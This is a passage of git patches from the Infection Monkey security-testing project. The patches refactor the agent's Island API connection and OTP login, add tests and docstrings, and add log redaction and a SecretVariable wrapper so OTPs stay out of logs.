mock.get(f"https://{SERVER_1}/api?action=is-up", exc=IslandAPIConnectionError) + mock.get(f"https://{SERVER_1}/api?action=is-up", exc=requests.exceptions.ConnectTimeout) + mock.get(f"https://{SERVER_4}/api?action=is-up", exc=requests.exceptions.InvalidURL) for server in available_servers: - mock.post(f"https://{server}/api/agent-otp-login", json={"token": "fake-token"}) mock.get(f"https://{server}/api?action=is-up", text="") - available_apis = find_available_island_apis(servers, island_api_client_factory) + island_api_statuses = find_available_island_apis(servers) - assert available_apis[SERVER_1] is None - assert available_apis[SERVER_4] is None + assert not island_api_statuses[SERVER_1] + assert not island_api_statuses[SERVER_4] for server in available_servers: - assert isinstance(available_apis[server], IIslandAPIClient) + assert island_api_statuses[server] From f92be7adeb4850b0eafe12519c03ab069bec57b4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 21 Mar 2023 19:13:25 +0530 Subject: [PATCH 0658/1338] Agent: Handle response parsing errors in HTTPIslandAPIClient.login() --- .../island_api_client/http_island_api_client.py | 6 ++---- .../island_api_client/test_http_island_api_client.py | 12 +++++++++++- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index ff7983dbf28..93cd58ba9d1 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -54,10 +54,8 @@ def __init__( self._agent_event_serializer_registry = agent_event_serializer_registry self._http_client = http_client - def login( - self, - otp: str, - ): + @handle_response_parsing_errors + def login(self, otp: str): auth_token = self._get_authentication_token(otp) self._http_client.additional_headers = {HTTPIslandAPIClient.TOKEN_HEADER_KEY: auth_token} diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 7776981bf32..a1f12798f69 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -106,7 +106,7 @@ def test_login__connection_error(): api_client.login(OTP) -def test_connect(): +def test_login(): auth_token = "auth_token" http_client_stub = MagicMock() http_client_stub.post = MagicMock() @@ -118,6 +118,16 @@ def test_connect(): assert http_client_stub.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] == auth_token +def test_login__bad_response(): + http_client_stub = MagicMock() + http_client_stub.post = MagicMock() + http_client_stub.post.return_value.json.return_value = {"abc": 123} + api_client = build_api_client(http_client_stub) + + with pytest.raises(IslandAPIResponseParsingError): + api_client.login(OTP) + + def test_island_api_client__get_agent_binary(): fake_binary = b"agent-binary" os = OperatingSystem.LINUX From 9f59e67e75c48c613818e1ac7cd8434bd0fae48d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 21 Mar 2023 19:22:04 +0530 Subject: [PATCH 0659/1338] Agent: Don't redefine HTTPClient.additional_headers in HTTPIslandAPIClient.login() We don't want to lose any headers already added to HTTPClient.additional_headers before logging in --- .../island_api_client/http_client.py | 2 +- .../island_api_client/http_island_api_client.py | 2 +- .../test_http_island_api_client.py | 17 +++++++++++++++++ 3 files changed, 19 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index a20c70013a4..6442b70783d 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -70,7 +70,7 @@ def __init__(self, server_url: str, retries=RETRIES): self._session = requests.Session() retry_config = Retry(retries) self._session.mount("https://", HTTPAdapter(max_retries=retry_config)) - self.additional_headers: Optional[Dict[str, Any]] = None + self.additional_headers: Dict[str, Any] = {} def get( self, diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 93cd58ba9d1..59adb2636a1 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -57,7 +57,7 @@ def __init__( @handle_response_parsing_errors def login(self, otp: str): auth_token = self._get_authentication_token(otp) - self._http_client.additional_headers = {HTTPIslandAPIClient.TOKEN_HEADER_KEY: auth_token} + self._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] = auth_token def _get_authentication_token(self, otp: str) -> str: response = self._http_client.post("/agent-otp-login", {"otp": otp}) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index a1f12798f69..97debb03e2f 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -109,6 +109,7 @@ def test_login__connection_error(): def test_login(): auth_token = "auth_token" http_client_stub = MagicMock() + http_client_stub.additional_headers = {} http_client_stub.post = MagicMock() http_client_stub.post.return_value.json.return_value = {"token": auth_token} api_client = build_api_client(http_client_stub) @@ -128,6 +129,22 @@ def test_login__bad_response(): api_client.login(OTP) +def test_login__does_not_overwrite_additional_headers(): + auth_token = "auth_token" + http_client_stub = MagicMock() + http_client_stub.additional_headers = {"Some-Header": "some value"} + http_client_stub.post = MagicMock() + http_client_stub.post.return_value.json.return_value = {"token": auth_token} + api_client = build_api_client(http_client_stub) + + api_client.login(OTP) + + assert http_client_stub.additional_headers == { + "Some-Header": "some value", + HTTPIslandAPIClient.TOKEN_HEADER_KEY: auth_token, + } + + def test_island_api_client__get_agent_binary(): fake_binary = b"agent-binary" os = OperatingSystem.LINUX From 5ea946c4fa935178a805c2848576c00a767f6bd0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Mar 2023 10:20:16 -0400 Subject: [PATCH 0660/1338] Agent: Refactor Island connection logic in monkey.py --- .../abstract_island_api_client_factory.py | 5 +++- .../http_island_api_client_factory.py | 10 ++++--- monkey/infection_monkey/monkey.py | 30 ++++++++++++++----- 3 files changed, 33 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/abstract_island_api_client_factory.py b/monkey/infection_monkey/island_api_client/abstract_island_api_client_factory.py index 2a74dcd96c0..9d656db7428 100644 --- a/monkey/infection_monkey/island_api_client/abstract_island_api_client_factory.py +++ b/monkey/infection_monkey/island_api_client/abstract_island_api_client_factory.py @@ -1,13 +1,16 @@ from abc import ABC, abstractmethod +from common.types import SocketAddress + from . import IIslandAPIClient class AbstractIslandAPIClientFactory(ABC): @abstractmethod - def create_island_api_client(self) -> IIslandAPIClient: + def create_island_api_client(self, server: SocketAddress) -> IIslandAPIClient: """ Create an IIslandAPIClient + :param server: A SocketAddress for the server :return: A concrete instance of an IIslandAPIClient """ diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py index 83ef0118ca2..5b1f37efe65 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client_factory.py @@ -1,4 +1,5 @@ from common.agent_event_serializers import AgentEventSerializerRegistry +from common.types import SocketAddress from . import ( AbstractIslandAPIClientFactory, @@ -10,11 +11,12 @@ class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory): - def __init__(self, agent_event_serializer_registry: AgentEventSerializerRegistry, otp: str): + def __init__(self, agent_event_serializer_registry: AgentEventSerializerRegistry): self._agent_event_serializer_registry = agent_event_serializer_registry - self._otp = otp - def create_island_api_client(self) -> IIslandAPIClient: + def create_island_api_client(self, server: SocketAddress) -> IIslandAPIClient: return ConfigurationValidatorDecorator( - HTTPIslandAPIClient(self._agent_event_serializer_registry, HTTPClient(), self._otp) + HTTPIslandAPIClient( + self._agent_event_serializer_registry, HTTPClient(f"https://{server}/api") + ) ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4a322ee5961..87016e3983d 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -61,7 +61,11 @@ from infection_monkey.exploit.zerologon import ZerologonExploiter from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet -from infection_monkey.island_api_client import HTTPIslandAPIClientFactory, IIslandAPIClient +from infection_monkey.island_api_client import ( + AbstractIslandAPIClientFactory, + HTTPIslandAPIClientFactory, + IIslandAPIClient, +) from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel from infection_monkey.network import TCPPortSelector @@ -190,15 +194,19 @@ def _get_otp(): return otp - # TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server` def _connect_to_island_api(self) -> Tuple[SocketAddress, IIslandAPIClient]: logger.debug(f"Trying to wake up with servers: {', '.join(map(str, self._opts.servers))}") server_clients = find_available_island_apis( self._opts.servers, - HTTPIslandAPIClientFactory(self._agent_event_serializer_registry, self._otp), ) - server, island_api_client = self._select_server(server_clients) + http_island_api_client_factory = HTTPIslandAPIClientFactory( + self._agent_event_serializer_registry + ) + + server, island_api_client = self._select_server( + server_clients, http_island_api_client_factory + ) if server and island_api_client: logger.info(f"Using {server} to communicate with the Island") @@ -217,11 +225,19 @@ def _connect_to_island_api(self) -> Tuple[SocketAddress, IIslandAPIClient]: return server, island_api_client def _select_server( - self, server_clients: IslandAPISearchResults + self, + island_api_statuses: IslandAPISearchResults, + island_api_client_factory: AbstractIslandAPIClientFactory, ) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]: for server in self._opts.servers: - if server_clients[server] is not None: - return server, server_clients[server] + if island_api_statuses[server]: + try: + island_api_client = island_api_client_factory.create_island_api_client(server) + island_api_client.login(self._otp) + + return server, island_api_client + except Exception as err: + logger.warning(f"Failed to connect and authenticate to {server}: {err}") return None, None From ead2f02f4b95758a422fab12090dd096c9dc4584 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Mar 2023 13:36:01 -0400 Subject: [PATCH 0661/1338] Agent: Add IslandAPIAuthenticationError to docstrings --- .../island_api_client/i_island_api_client.py | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/monkey/infection_monkey/island_api_client/i_island_api_client.py b/monkey/infection_monkey/island_api_client/i_island_api_client.py index 8cbbce63944..2b35348dda8 100644 --- a/monkey/infection_monkey/island_api_client/i_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/i_island_api_client.py @@ -20,6 +20,8 @@ def login(self, otp: str): Connect to the island's API :param otp: A one-time password used to authenticate with the Island API + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client cannot successfully connect to the Island :raises IslandAPIRequestError: If an error occurs while attempting to login to the Island due to an issue in the request sent from the client @@ -36,6 +38,8 @@ def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: Get an agent binary for the given OS from the island :param operating_system: The OS on which the agent binary will run + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client cannot successfully connect to the island :raises IslandAPIRequestError: If an error occurs while attempting to connect to the island due to an issue in the request sent from the client @@ -52,6 +56,7 @@ def get_otp(self) -> str: """ Get a one-time password (OTP) for an Agent so it can authenticate with the Island + :raises IslandAPIAuthenticationError: If authentication fails :raises IslandAPIConnectionError: If the client cannot successfully connect to the Island :raises IslandAPIRequestError: If an error occurs while attempting to connect to the Island due to an issue in the request sent from the client @@ -72,6 +77,8 @@ def get_agent_plugin( :param operating_system: The OS on which the plugin will run :param plugin_type: Type of plugin to be fetched :param plugin_name: Name of plugin to be fetched + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client could not connect to the island :raises IslandAPIRequestError: If there was a problem with the client request :raises IslandAPIRequestFailedError: If the server experienced an error @@ -88,6 +95,8 @@ def get_agent_plugin_manifest( :param plugin_type: Type of the plugin :param plugin_name: Name of the plugin + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client could not connect to the island :raises IslandAPIRequestError: If there was a problem with the client request :raises IslandAPIRequestFailedError: If the server experienced an error @@ -101,6 +110,8 @@ def get_agent_signals(self, agent_id: AgentID) -> AgentSignals: Gets an agent's signals from the island :param agent_id: ID of the agent whose signals should be retrieved + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client could not connect to the island :raises IslandAPIRequestError: If there was a problem with the client request :raises IslandAPIRequestFailedError: If the server experienced an error @@ -113,6 +124,8 @@ def get_agent_configuration_schema(self) -> Dict[str, Any]: """ Gets the agent configuration schema from the island + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client could not connect to the island :raises IslandAPIRequestError: If there was a problem with the client request :raises IslandAPIRequestFailedError: If the server experienced an error @@ -125,6 +138,8 @@ def get_config(self) -> AgentConfiguration: """ Get agent configuration from the island + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client could not connect to the island :raises IslandAPIRequestError: If there was a problem with the client request :raises IslandAPIRequestFailedError: If the server experienced an error @@ -139,6 +154,8 @@ def get_credentials_for_propagation(self) -> Sequence[Credentials]: """ Get credentials from the island + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client could not connect to the island :raises IslandAPIRequestError: If there was a problem with the client request :raises IslandAPIRequestFailedError: If the server experienced an error @@ -153,6 +170,8 @@ def register_agent(self, agent_registration_data: AgentRegistrationData): :param agent_registration_data: Information about the agent to register with the island + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client could not connect to the island :raises IslandAPIRequestError: If there was a problem with the client request :raises IslandAPIRequestFailedError: If the server experienced an error @@ -165,6 +184,8 @@ def send_events(self, events: Sequence[AbstractAgentEvent]): Send a sequence of agent events to the Island :param events: A sequence of agent events + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client cannot successfully connect to the island :raises IslandAPIRequestError: If an error occurs while attempting to connect to the island due to an issue in the request sent from the client @@ -182,6 +203,8 @@ def send_heartbeat(self, agent_id: AgentID, timestamp: float): :param agent_id: The ID of the agent who is sending a heartbeat :param timestamp: The timestamp of the agent's heartbeat + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client cannot successfully connect to the island :raises IslandAPIRequestError: If an error occurs while attempting to connect to the island due to an issue in the request sent from the client @@ -199,6 +222,8 @@ def send_log(self, agent_id: AgentID, log_contents: str): :param agent_id: The ID of the agent whose logs are being sent :param log_contents: The contents of the agent's log + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint :raises IslandAPIConnectionError: If the client cannot successfully connect to the island :raises IslandAPIRequestError: If an error occurs while attempting to connect to the island due to an issue in the request sent from the client From df343ac199d9f042bed8fd2755fc84c9504b7540 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Mar 2023 13:57:30 -0400 Subject: [PATCH 0662/1338] Agent: Rename _check_if_island_server() -> _server_is_island() --- monkey/infection_monkey/network/relay/utils.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/relay/utils.py b/monkey/infection_monkey/network/relay/utils.py index 88f0b4e5497..ada88f4fff1 100644 --- a/monkey/infection_monkey/network/relay/utils.py +++ b/monkey/infection_monkey/network/relay/utils.py @@ -45,10 +45,10 @@ def _find_island_server( ): with suppress(StopIteration): server = next(servers) - server_results[server] = _check_if_island_server(server) + server_results[server] = _server_is_island(server) -def _check_if_island_server(server: SocketAddress) -> bool: +def _server_is_island(server: SocketAddress) -> bool: logger.debug(f"Trying to connect to server: {server}") try: From fa7e27e79ee5ff0bbe2d4555ad907b312cc3b03e Mon Sep 17 00:00:00 2001 From: ordabach Date: Tue, 21 Mar 2023 12:23:26 +0000 Subject: [PATCH 0663/1338] UI: Deletion of the HtmlFieldDescription component Issue: #3081 PR: #3129 --- .../configuration-components/HtmlFieldDescription.js | 8 -------- .../cc/ui/src/components/pages/ConfigurePage.js | 2 -- 2 files changed, 10 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js deleted file mode 100644 index 2d8df9020f0..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js +++ /dev/null @@ -1,8 +0,0 @@ -import React from 'react'; - -function HtmlFieldDescription(props) { - var content_obj = {__html: props.description}; - return

    ; -} - -export default HtmlFieldDescription; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 1c097cccd46..1c74fbf5e20 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -18,7 +18,6 @@ import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; import ConfigExportModal from '../configuration-components/ExportConfigModal'; import ConfigImportModal from '../configuration-components/ImportConfigModal'; import applyUiSchemaManipulators from '../configuration-components/UISchemaManipulators.tsx'; -import HtmlFieldDescription from '../configuration-components/HtmlFieldDescription.js'; import CONFIGURATION_TABS_PER_MODE from '../configuration-components/ConfigurationTabs.js'; import {SCHEMA} from '../../services/configuration/configSchema.js'; import { @@ -332,7 +331,6 @@ class ConfigurePageComponent extends AuthComponent { selectedSection: this.state.selectedSection }) formProperties['schema'] = displayedSchema - formProperties['fields'] = {DescriptionField: HtmlFieldDescription}; formProperties['onChange'] = this.onChange; formProperties['onFocus'] = this.resetLastAction; formProperties['transformErrors'] = transformErrors; From f1b132e34e107293ca8ed7c4d9d2d2b145ad57d7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Mar 2023 19:13:02 +0530 Subject: [PATCH 0664/1338] Agent: Add OTPFormatter class in main.py --- monkey/infection_monkey/main.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index c99609b0311..1b5ab8f9aad 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -9,6 +9,7 @@ import logging import logging.handlers import os +import re import sys import tempfile import time @@ -19,12 +20,28 @@ # dummy import for pyinstaller # noinspection PyUnresolvedReferences +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.version import get_version from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import DROPPER_ARG, MONKEY_ARG from infection_monkey.monkey import InfectionMonkey +class OTPFormatter(logging.Formatter): + """ + Formatter that replaces OTPs in log messages with asterisks + """ + + def format(self, record): + otp_regex = re.compile(f"{AGENT_OTP_ENVIRONMENT_VARIABLE}=[a-zA-Z0-9]*") + otp_replacement = f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={'*' * 6}" + + original_log_message = logging.Formatter.format(self, record) + formatted_log_message = re.sub(otp_regex, otp_replacement, original_log_message) + + return formatted_log_message + + def main(): freeze_support() # required for multiprocessing + pyinstaller on windows From 75f9d5835cb94b0360c6f5aa748539ad962a0652 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Mar 2023 19:14:37 +0530 Subject: [PATCH 0665/1338] Agent: Modify logger to use OTPFormatter so that OTPs aren't leaked in logs --- monkey/infection_monkey/main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 1b5ab8f9aad..c782f93b7cc 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -119,7 +119,7 @@ def _configure_queue_listener( "%(asctime)s [%(process)d:%(threadName)s:%(levelname)s] %(module)s.%(" "funcName)s.%(lineno)d: %(message)s" ) - formatter = logging.Formatter(log_format) + formatter = OTPFormatter(log_format) stream_handler = logging.StreamHandler() stream_handler.setFormatter(formatter) From 797d6777ea47b741b3592e0db8329dcb84102ed2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 20 Mar 2023 17:22:04 +0200 Subject: [PATCH 0666/1338] Common: Add secret variable This secret variable is a utility to gide output of variables into logs --- monkey/common/utils/i_secret_variable.py | 7 +++++++ monkey/common/utils/secret_variable.py | 16 ++++++++++++++++ .../common/utils/test_secret_variable.py | 17 +++++++++++++++++ 3 files changed, 40 insertions(+) create mode 100644 monkey/common/utils/i_secret_variable.py create mode 100644 monkey/common/utils/secret_variable.py create mode 100644 monkey/tests/unit_tests/common/utils/test_secret_variable.py diff --git a/monkey/common/utils/i_secret_variable.py b/monkey/common/utils/i_secret_variable.py new file mode 100644 index 00000000000..9073666eae4 --- /dev/null +++ b/monkey/common/utils/i_secret_variable.py @@ -0,0 +1,7 @@ +from abc import ABC, abstractmethod + + +class ISecretVariable(ABC): + @abstractmethod + def get_secret_value(self) -> str: + pass diff --git a/monkey/common/utils/secret_variable.py b/monkey/common/utils/secret_variable.py new file mode 100644 index 00000000000..ea6b2b029ee --- /dev/null +++ b/monkey/common/utils/secret_variable.py @@ -0,0 +1,16 @@ +from typing import Any + +from pydantic.types import SecretStr + +from common.utils.i_secret_variable import ISecretVariable + + +class SecretVariable(ISecretVariable): + def __init__(self, secret_value: Any): + if isinstance(secret_value, str): + self._secret_value = SecretStr(secret_value) + else: + raise NotImplementedError("SecretVariable only supports string values.") + + def get_secret_value(self) -> str: + return self._secret_value.get_secret_value() diff --git a/monkey/tests/unit_tests/common/utils/test_secret_variable.py b/monkey/tests/unit_tests/common/utils/test_secret_variable.py new file mode 100644 index 00000000000..da91595754e --- /dev/null +++ b/monkey/tests/unit_tests/common/utils/test_secret_variable.py @@ -0,0 +1,17 @@ +import logging + +from common.utils.secret_variable import SecretVariable + +SECRET_TEXT = "my_secret_value" + + +def test_secret_variable__no_logging(capsys): + # Arrange + secret_variable = SecretVariable(SECRET_TEXT) + logger = logging.getLogger(__name__) + # Act + logger.debug(secret_variable) + + # Asser + captured = capsys.readouterr() + assert SECRET_TEXT not in captured.out From 56428a438dbb603f2c3b53daee517ee8875a6bea Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 20 Mar 2023 17:51:00 +0200 Subject: [PATCH 0667/1338] Common: Add OTP type --- monkey/common/types/otp.py | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 monkey/common/types/otp.py diff --git a/monkey/common/types/otp.py b/monkey/common/types/otp.py new file mode 100644 index 00000000000..37d914de56c --- /dev/null +++ b/monkey/common/types/otp.py @@ -0,0 +1,5 @@ +from typing import TypeAlias + +from common.utils.secret_variable import SecretVariable + +OTP: TypeAlias = SecretVariable From 2c3b7ccfa7ecc4dbc5a9c9387aeac8b6b6fc7bc8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 21 Mar 2023 15:21:43 +0200 Subject: [PATCH 0668/1338] Agent: Cast OTP to a SecretVariable Casting OTP and using it as a SecretVariable means that OTP won't get logged --- .../island_api_client/http_island_api_client.py | 5 +++-- monkey/infection_monkey/monkey.py | 8 +++++--- monkey/tests/data_for_tests/otp.py | 4 +++- monkey/tests/unit_tests/infection_monkey/test_monkey.py | 6 +++--- 4 files changed, 14 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 59adb2636a1..abfa56d3937 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -13,6 +13,7 @@ from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from common.credentials import Credentials +from common.types.otp import OTP from common.types import AgentID, JSONSerializable from . import IIslandAPIClient, IslandAPIRequestError @@ -55,11 +56,11 @@ def __init__( self._http_client = http_client @handle_response_parsing_errors - def login(self, otp: str): + def login(self, otp: OTP): auth_token = self._get_authentication_token(otp) self._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] = auth_token - def _get_authentication_token(self, otp: str) -> str: + def _get_authentication_token(self, otp: OTP) -> str: response = self._http_client.post("/agent-otp-login", {"otp": otp}) return response.json()["token"] diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 87016e3983d..62b842117cc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -35,9 +35,11 @@ from common.network.network_utils import get_my_ip_addresses, get_network_interfaces from common.tags.attack import T1082_ATTACK_TECHNIQUE_TAG from common.types import NetworkPort, SocketAddress +from common.types.otp import OTP from common.utils.argparse_types import positive_int from common.utils.code_utils import del_key, secure_generate_random_string from common.utils.file_utils import create_secure_directory +from common.utils.secret_variable import SecretVariable from infection_monkey.agent_event_handlers import ( AgentEventForwarder, add_stolen_credentials_to_propagation_credentials_repository, @@ -175,13 +177,13 @@ def _get_arguments(args): return opts @staticmethod - def _get_otp(): + def _get_otp() -> OTP: # No need for a constant, this is a feature flag that will be removed. if OTP_FLAG not in os.environ: - return "PLACEHOLDER_OTP" + return SecretVariable("PLACEHOLDER_OTP") try: - otp = os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE] + otp = SecretVariable(os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE]) except KeyError: raise Exception( f"Couldn't find {AGENT_OTP_ENVIRONMENT_VARIABLE} environmental variable." diff --git a/monkey/tests/data_for_tests/otp.py b/monkey/tests/data_for_tests/otp.py index 3ce1289dc8d..755e696f571 100644 --- a/monkey/tests/data_for_tests/otp.py +++ b/monkey/tests/data_for_tests/otp.py @@ -1 +1,3 @@ -OTP = "fake_otp" +from common.utils.secret_variable import SecretVariable + +OTP = SecretVariable("fake_otp") diff --git a/monkey/tests/unit_tests/infection_monkey/test_monkey.py b/monkey/tests/unit_tests/infection_monkey/test_monkey.py index 7f77c565245..f85781278d5 100644 --- a/monkey/tests/unit_tests/infection_monkey/test_monkey.py +++ b/monkey/tests/unit_tests/infection_monkey/test_monkey.py @@ -10,12 +10,12 @@ @pytest.fixture(autouse=True) def configure_environment_variables(monkeypatch): - monkeypatch.setenv(AGENT_OTP_ENVIRONMENT_VARIABLE, OTP) + monkeypatch.setenv(AGENT_OTP_ENVIRONMENT_VARIABLE, OTP.get_secret_value()) monkeypatch.setenv(OTP_FLAG, True) def test_get_otp(monkeypatch): - assert InfectionMonkey._get_otp() == OTP + assert InfectionMonkey._get_otp().get_secret_value() == OTP.get_secret_value() assert AGENT_OTP_ENVIRONMENT_VARIABLE not in os.environ @@ -32,4 +32,4 @@ def test_get_otp__feature_flag_disabled(monkeypatch): pass # No need for a constant, this code is testing a feature flag that will be removed. - assert InfectionMonkey._get_otp() == "PLACEHOLDER_OTP" + assert InfectionMonkey._get_otp().get_secret_value() == "PLACEHOLDER_OTP" From 9185d73f51e304e3cee06d840e6b4e0d6139a707 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 21 Mar 2023 15:26:00 +0200 Subject: [PATCH 0669/1338] Common: Change "get_secret_value" return type to Any Theoretically SecretVariable should support any data type, intergace should reflect it --- monkey/common/utils/i_secret_variable.py | 3 ++- monkey/common/utils/secret_variable.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/common/utils/i_secret_variable.py b/monkey/common/utils/i_secret_variable.py index 9073666eae4..8ab3d4d97b8 100644 --- a/monkey/common/utils/i_secret_variable.py +++ b/monkey/common/utils/i_secret_variable.py @@ -1,7 +1,8 @@ from abc import ABC, abstractmethod +from typing import Any class ISecretVariable(ABC): @abstractmethod - def get_secret_value(self) -> str: + def get_secret_value(self) -> Any: pass diff --git a/monkey/common/utils/secret_variable.py b/monkey/common/utils/secret_variable.py index ea6b2b029ee..5e53209daa5 100644 --- a/monkey/common/utils/secret_variable.py +++ b/monkey/common/utils/secret_variable.py @@ -12,5 +12,5 @@ def __init__(self, secret_value: Any): else: raise NotImplementedError("SecretVariable only supports string values.") - def get_secret_value(self) -> str: + def get_secret_value(self) -> Any: return self._secret_value.get_secret_value() From 3c737db53999667d73291897c82446a8b986a283 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 21 Mar 2023 15:42:26 +0200 Subject: [PATCH 0670/1338] UT: Remove unnecessary comments in test_secret_variable.py --- monkey/tests/unit_tests/common/utils/test_secret_variable.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/common/utils/test_secret_variable.py b/monkey/tests/unit_tests/common/utils/test_secret_variable.py index da91595754e..a93abdc63f6 100644 --- a/monkey/tests/unit_tests/common/utils/test_secret_variable.py +++ b/monkey/tests/unit_tests/common/utils/test_secret_variable.py @@ -6,12 +6,10 @@ def test_secret_variable__no_logging(capsys): - # Arrange secret_variable = SecretVariable(SECRET_TEXT) logger = logging.getLogger(__name__) - # Act + logger.debug(secret_variable) - # Asser captured = capsys.readouterr() assert SECRET_TEXT not in captured.out From d7e6869b98af3067264a0fb08c8de1983ad5b0b9 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 22 Mar 2023 10:47:28 +0200 Subject: [PATCH 0671/1338] Common: Change the OTP typehint to an interface --- monkey/common/types/otp.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/common/types/otp.py b/monkey/common/types/otp.py index 37d914de56c..cf2de8dac5d 